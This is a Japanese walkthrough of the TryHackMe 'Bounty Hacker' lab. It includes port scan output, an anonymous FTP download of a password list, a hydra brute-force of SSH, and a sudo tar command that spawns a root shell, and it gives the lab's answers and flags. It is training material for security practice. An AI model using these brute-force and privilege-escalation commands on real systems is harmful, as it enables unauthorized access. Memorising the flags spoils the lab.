概要
TryHackMe「Bounty Hacker」のWalkthroughです。
Task1
Q2.Find open ports on the machine
ポートスキャンを実行します。
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.6.55.144
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 550 Permission denied.
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 5c:df:35:c8:fc:b4:3e:0b:d9:07:4c:65:51:d7:ae:bd (RSA)
| 256 e5:af:9c:86:0d:75:b1:72:a4:58:c4:7e:92:14:56:43 (ECDSA)
|_ 256 6d:ac:9d:0a:7a:67:c1:cf:85:b9:72:2b:d8:11:16:39 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
21 | ftp | vsftpd 3.0.5 |
22 | ssh | OpenSSH 8.2p1 |
80 | http | Apache/2.4.41 |
Q3.Who wrote the task list?
FTPのAnonymous接続が許可されているので、Anonymous接続するとlocaks.txt
とtask.txt
を発見しました。
$ ftp 10.10.161.130
Connected to 10.10.161.130.
220 (vsFTPd 3.0.5)
Name (10.10.161.130:kali): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
550 Permission denied.
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-rw-r-- 1 ftp ftp 418 Jun 07 2020 locks.txt
-rw-rw-r-- 1 ftp ftp 68 Jun 07 2020 task.txt
locks.txt
をダウンロードし確認すると、パスワードらしき文字列がリストになっています。
locks.txt
rEddrAGON
ReDdr4g0nSynd!cat3
Dr@gOn$yn9icat3
R3DDr46ONSYndIC@Te
ReddRA60N
R3dDrag0nSynd1c4te
dRa6oN5YNDiCATE
ReDDR4g0n5ynDIc4te
R3Dr4gOn2044
RedDr4gonSynd1cat3
R3dDRaG0Nsynd1c@T3
Synd1c4teDr@g0n
reddRAg0N
REddRaG0N5yNdIc47e
Dra6oN$yndIC@t3
4L1mi6H71StHeB357
rEDdragOn$ynd1c473
DrAgoN5ynD1cATE
ReDdrag0n$ynd1cate
Dr@gOn$yND1C4Te
RedDr@gonSyn9ic47e
REd$yNdIc47e
dr@goN5YNd1c@73
rEDdrAGOnSyNDiCat3
r3ddr@g0N
ReDSynd1ca7e
task.txt
にはlin
のタスクが記載されています。
task.txt
1.) Protect Vicious.
2.) Plan for Red Eye pickup on the moon.
-lin
A.lin
Q4.What service can you bruteforce with the text file found?
A.SSH
Q5.What is the users password?
SSHのパスワードをブルートフォースで特定できました。
$ hydra -f -l lin -P locks.txt 10.10.161.130 ssh
[22][ssh] host: 10.10.161.130 login: lin password: RedDr4gonSynd1cat3
A.RedDr4gonSynd1cat3
Q6.user.txt
SSH接続に成功しました。
$ ssh lin@10.10.161.130
lin@ip-10-10-161-130:~/Desktop$
/home/lin/Desktop/user.txt
からユーザーフラグを入手できました。
/home/lin/Desktop/user.txt
THM{CR1M3_SyNd1C4T3}
A.THM{CR1M3_SyNd1C4T3}
Q7.root.txt
sudo -l
を実行すると、/bin/tar
がrootで許可されていると分かりました。
lin@ip-10-10-161-130:~/Desktop$ sudo -l
[sudo] password for lin:
Matching Defaults entries for lin on ip-10-10-161-130:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User lin may run the following commands on ip-10-10-161-130:
(root) /bin/tar
tar
コマンドを使用した権限昇格のテクニックが見つかりました。
/bin/tar
を使用し、root権限を取得できました。
lin@ip-10-10-161-130:~/Desktop$ sudo /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
/bin/tar: Removing leading `/' from member names
# whoami
root
/root/root.txt
からルートフラグを入手できました。
/root/root.txt
THM{80UN7Y_h4cK3r}
A.THM{80UN7Y_h4cK3r}